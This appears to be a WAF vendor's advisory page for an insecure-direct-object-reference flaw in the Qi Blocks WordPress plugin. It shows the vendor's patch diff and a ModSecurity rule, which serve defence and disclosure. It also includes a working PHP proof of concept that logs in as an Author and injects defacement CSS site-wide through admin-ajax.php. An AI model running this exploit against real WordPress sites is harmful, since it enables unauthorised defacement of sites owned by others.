+			return qi_blocks_page_needs_swiper();
+		}
+
+		$block_names = array();
+
+		if ( ! empty( $script_value['block_names'] ) && is_array( $script_value['block_names'] ) ) {
+			$block_names = $script_value['block_names'];
+		} elseif ( ! empty( $script_value['block_name'] ) ) {
+			$block_names = array( $script_value['block_name'] );
+		}
+
+		if ( empty( $block_names ) ) {
+			return true;
+		}
+
+		foreach ( $block_names as $block_name ) {
+			if ( qi_blocks_is_block_present_on_page( $block_name ) ) {
+				return true;
+			}
+		}
+
+		return false;
+	}
+}
+
+if ( ! function_exists( 'qi_blocks_should_resolve_block_template_html' ) ) {
+	/**
+	 * Whether block template content should be resolved for frontend asset loading.
+	 *
+	 * @return bool
+	 */
+	function qi_blocks_should_resolve_block_template_html() {
+		$should_resolve = function_exists( 'wp_is_block_theme' ) && wp_is_block_theme();
+
+		return (bool) apply_filters( 'qi_blocks_should_resolve_block_template_html', $should_resolve );
+	}
+}
+
+if ( ! function_exists( 'qi_blocks_get_block_template_content' ) ) {
+	/**
+	 * Return raw block template content for the current request.
+	 *
+	 * Does not render blocks — safe to call during wp_enqueue_scripts.
+	 *
+	 * @return string
+	 */
+	function qi_blocks_get_block_template_content() {
+		static $request_cache = null;
+
+		if ( null !== $request_cache ) {
+			return $request_cache;
+		}
+
+		if ( ! qi_blocks_should_resolve_block_template_html() ) {
+			$request_cache = '';
+
+			return $request_cache;
+		}
+
+		global $_wp_current_template_content;
+
+		if ( empty( $_wp_current_template_content ) || ! is_string( $_wp_current_template_content ) ) {
+			$request_cache = '';
+
+			return $request_cache;
+		}
+
+		$request_cache = $_wp_current_template_content;
+
+		return $request_cache;
+	}
+}
+
+if ( ! function_exists( 'qi_blocks_get_the_block_template_html' ) ) {
+	/**
+	 * Backward-compatible alias for raw template content used in asset detection.
+	 *
+	 * @deprecated Never calls get_the_block_template_html() — rendering blocks during asset detection caused duplicate script loads in the Site Editor.
+	 *
+	 * @return string Raw block template content.
+	 */
+	function qi_blocks_get_the_block_template_html() {
+		return qi_blocks_get_block_template_content();
+	}
+}
+
+if ( ! function_exists( 'qi_blocks_cleanup_legacy_block_template_transient' ) ) {
+	/**
+	 * Remove legacy transient key that contained a trailing space.
+	 *
+	 * @return void
+	 */
+	function qi_blocks_cleanup_legacy_block_template_transient() {
+		delete_transient( '_qi_blocks_get_the_block_template_html' );
+		delete_transient( '_qi_blocks_get_the_block_template_html ' );
+	}
+
+	add_action( 'init', 'qi_blocks_cleanup_legacy_block_template_transient', 1 );
+}
+
 if ( ! function_exists( 'qi_blocks_get_premium_blocks_list' ) ) {
 	/**
 	 * Function that return premium blocks list
--- a/qi-blocks/inc/libraries/svg-sanitizer/Exceptions/NestingException.php
+++ b/qi-blocks/inc/libraries/svg-sanitizer/Exceptions/NestingException.php
@@ -18,7 +18,7 @@
      * @param Exception|null   $previous
      * @param DOMElement|null $element
      */
-    public function __construct($message = "", $code = 0, Exception $previous = null, DOMElement $element = null)
+    public function __construct($message = "", $code = 0, ?Exception $previous = null, ?DOMElement $element = null)
     {
         $this->element = $element;
         parent::__construct($message, $code, $previous);
--- a/qi-blocks/inc/libraries/svg-sanitizer/Sanitizer.php
+++ b/qi-blocks/inc/libraries/svg-sanitizer/Sanitizer.php
@@ -220,8 +220,13 @@
             return '';
         }

-        // Strip php tags
-        $dirty = preg_replace('/<?(=|php)(.+?)?>/i', '', $dirty);
+        do {
+            /*
+             * recursively remove php tags because they can be hidden inside tags
+             * i.e. <?p<?php test?>hp echo . ' danger! ';?>
+             */
+            $dirty = preg_replace('/<?(=|php)(.+?)?>/i', '', $dirty);
+        } while (preg_match('/<?(=|php)(.+?)?>/i', $dirty) != 0);

         $this->resetInternal();
         $this->setUpBefore();
@@ -230,6 +235,7 @@

         // If we couldn't parse the XML then we go no further. Reset and return false
         if (!$loaded) {
+            $this->xmlIssues = self::getXmlErrors();
             $this->resetAfter();
             return false;
         }
@@ -363,7 +369,7 @@
                     $breaksOutOfForeignContent = false;
                     for ($x = $currentElement->attributes->length - 1; $x >= 0; $x--) {
                         // get attribute name
-                        $attrName = $currentElement->attributes->item( $x )->name;
+                        $attrName = $currentElement->attributes->item( $x )->nodeName;

                         if (in_array(strtolower($attrName), ['face', 'color', 'size'])) {
                             $breaksOutOfForeignContent = true;
@@ -398,7 +404,7 @@
     {
         for ($x = $element->attributes->length - 1; $x >= 0; $x--) {
             // get attribute name
-            $attrName = $element->attributes->item($x)->name;
+            $attrName = $element->attributes->item($x)->nodeName;

             // Remove attribute if not in whitelist
             if (!in_array(strtolower($attrName), $this->allowedAttrs) && !$this->isAriaAttribute(strtolower($attrName)) && !$this->isDataAttribute(strtolower($attrName))) {
@@ -415,7 +421,7 @@
              * Such as xlink:href when the xlink namespace isn't imported.
              * We have to do this as the link is still ran in this case.
              */
-            if (false !== strpos($attrName, 'href')) {
+            if (false !== stripos($attrName, 'href')) {
                 $href = $element->getAttribute($attrName);
                 if (false === $this->isHrefSafeValue($href)) {
                     $element->removeAttribute($attrName);
@@ -447,14 +453,17 @@
      */
     protected function cleanXlinkHrefs(DOMElement $element)
     {
-        $xlinks = $element->getAttributeNS('http://www.w3.org/1999/xlink', 'href');
-        if (false === $this->isHrefSafeValue($xlinks)) {
-            $element->removeAttributeNS( 'http://www.w3.org/1999/xlink', 'href' );
-            $this->xmlIssues[] = array(
-                'message' => 'Suspicious attribute 'href'',
-                'line' => $element->getLineNo(),
-            );
+        foreach ($element->attributes as $attribute) {
+            // remove attributes with unexpected namespace prefix, e.g. `XLinK:href` (instead of `xlink:href`)
+            if ($attribute->prefix === '' && strtolower($attribute->nodeName) === 'xlink:href') {
+                $element->removeAttribute($attribute->nodeName);
+                $this->xmlIssues[] = array(
+                    'message' => sprintf('Unexpected attribute '%s'', $attribute->nodeName),
+                    'line' => $element->getLineNo(),
+                );
+            }
         }
+        $this->cleanHrefAttributes($element, 'xlink');
     }

     /**
@@ -464,13 +473,33 @@
      */
     protected function cleanHrefs(DOMElement $element)
     {
-        $href = $element->getAttribute('href');
-        if (false === $this->isHrefSafeValue($href)) {
-            $element->removeAttribute('href');
-            $this->xmlIssues[] = array(
-                'message' => 'Suspicious attribute 'href'',
-                'line' => $element->getLineNo(),
-            );
+        $this->cleanHrefAttributes($element);
+    }
+
+    protected function cleanHrefAttributes(DOMElement $element, string $prefix = ''): void
+    {
+        $relevantAttributes = array_filter(
+            iterator_to_array($element->attributes),
+            static function (DOMAttr $attr) use ($prefix) {
+                return strtolower($attr->name) === 'href' && strtolower($attr->prefix) === $prefix;
+            }
+        );
+        foreach ($relevantAttributes as $attribute) {
+            if (!$this->isHrefSafeValue($attribute->value)) {
+                $element->removeAttribute($attribute->nodeName);
+                $this->xmlIssues[] = array(
+                    'message' => sprintf('Suspicious attribute '%s'', $attribute->nodeName),
+                    'line' => $element->getLineNo(),
+                );
+                continue;
+            }
+            // in case the attribute name is `HrEf`/`xlink:HrEf`, adjust it to `href`/`xlink:href`
+            if (!in_array($attribute->nodeName, $this->allowedAttrs, true)
+                && in_array(strtolower($attribute->nodeName), $this->allowedAttrs, true)
+            ) {
+                $element->removeAttribute($attribute->nodeName);
+                $element->setAttribute(strtolower($attribute->nodeName), $attribute->value);
+            }
         }
     }

@@ -698,4 +727,21 @@
             }
         }
     }
+
+    /**
+     * Retrieve array of errors
+     * @return array
+     */
+    private static function getXmlErrors()
+    {
+        $errors = [];
+        foreach (libxml_get_errors() as $error) {
+            $errors[] = [
+                'message' => trim($error->message),
+                'line' => $error->line,
+            ];
+        }
+
+        return $errors;
+    }
 }
--- a/qi-blocks/inc/libraries/svg-sanitizer/data/AllowedAttributes.php
+++ b/qi-blocks/inc/libraries/svg-sanitizer/data/AllowedAttributes.php
@@ -143,6 +143,7 @@
             'direction',
             'display',
             'divisor',
+            'dominant-baseline',
             'dur',
             'edgemode',
             'elevation',
--- a/qi-blocks/inc/slider/helper.php
+++ b/qi-blocks/inc/slider/helper.php
@@ -42,6 +42,23 @@
 	add_filter( 'qi_blocks_filter_block_style_dependency', 'qi_blocks_set_slider_style_as_block_style_dependency', 5 );
 }

+if ( ! function_exists( 'qi_blocks_set_swiper_script_as_editor_dependency' ) ) {
+	/**
+	 * Ensure Swiper is loaded before editor scripts that initialize sliders.
+	 *
+	 * @param array $script_dependency
+	 *
+	 * @return array
+	 */
+	function qi_blocks_set_swiper_script_as_editor_dependency( $script_dependency ) {
+		$script_dependency[] = 'swiper';
+
+		return $script_dependency;
+	}
+
+	add_filter( 'qi_blocks_filter_main_editor_dependencies', 'qi_blocks_set_swiper_script_as_editor_dependency', 15 );
+}
+
 if ( ! function_exists( 'qi_blocks_get_block_slider_attributes' ) ) {
 	/**
 	 * Function that return block slider attributes

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-10096
# Blocks exploitation of Qi Blocks IDOR vulnerability via admin-ajax.php
# Targets the save_options AJAX action with page_id parameter that is template, widget, or numeric
# Only blocks if the target is not owned by the user (cannot determine ownership at WAF level,
# but this rule blocks all attempts to modify template/widget/specific numeric post IDs via this endpoint)
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261996,phase:2,deny,status:403,chain,msg:'CVE-2026-10096 - Qi Blocks IDOR Exploit via AJAX save_options',severity:'CRITICAL',tag:'CVE-2026-10096'"
  SecRule ARGS_POST:action "@streq qi_blocks_framework_global_styles_save_options" "chain"
    SecRule ARGS_POST:page_id "@rx ^(template|widget|d+)$" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-10096 - Qi Blocks <= 1.4.9 - Insecure Direct Object Reference to Authenticated (Author+) Arbitrary Style Modification via 'page_id' Parameter

// Configuration
$target_url = 'https://example.com';  // Change this to the target WordPress site URL
$username = 'attacker';               // WordPress user with Author role
$password = 'password';               // User password

// Target post ID to deface (change to any post ID, or use 'template' or 'widget' for site-wide)
$target_page_id = 'template';         // 'template' defaces all pages via template styles
// $target_page_id = 'widget';        // 'widget' defaces widgets site-wide
// $target_page_id = '123';           // Specific post ID to deface

// Malicious CSS to inject (example: hide all content and display defacement message)
$malicious_css = 'body { display: none !important; } body:after { content: "This site has been defaced by Atomic Edge Research"; display: block !important; position: fixed; top: 50%; left: 50%; transform: translate(-50%, -50%); font-size: 48px; color: red; z-index: 99999; } .wp-block-qi-blocks-* { background-color: red !important; }';

// Step 1: Login to get cookies
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'log=' . urlencode($username) . '&pwd=' . urlencode($password) . '&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Get the nonce for the AJAX action (if required, adjust action name as needed)
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, array(
    'action' => 'qi_blocks_framework_global_styles_save_options',  // Action hook registered by the plugin
    'page_id' => $target_page_id,
    'options' => json_encode(array(
        'css' => $malicious_css,
        // Additional Qi Blocks style fields can be added here
    )),
));
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Response Code: " . $http_code . "n";
echo "Response: " . $response . "n";
echo "n=== Exploit Complete ===n";
echo "If successful, the target page/site will show the defaced content.n";

// Cleanup
unlink('/tmp/cookies.txt');
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.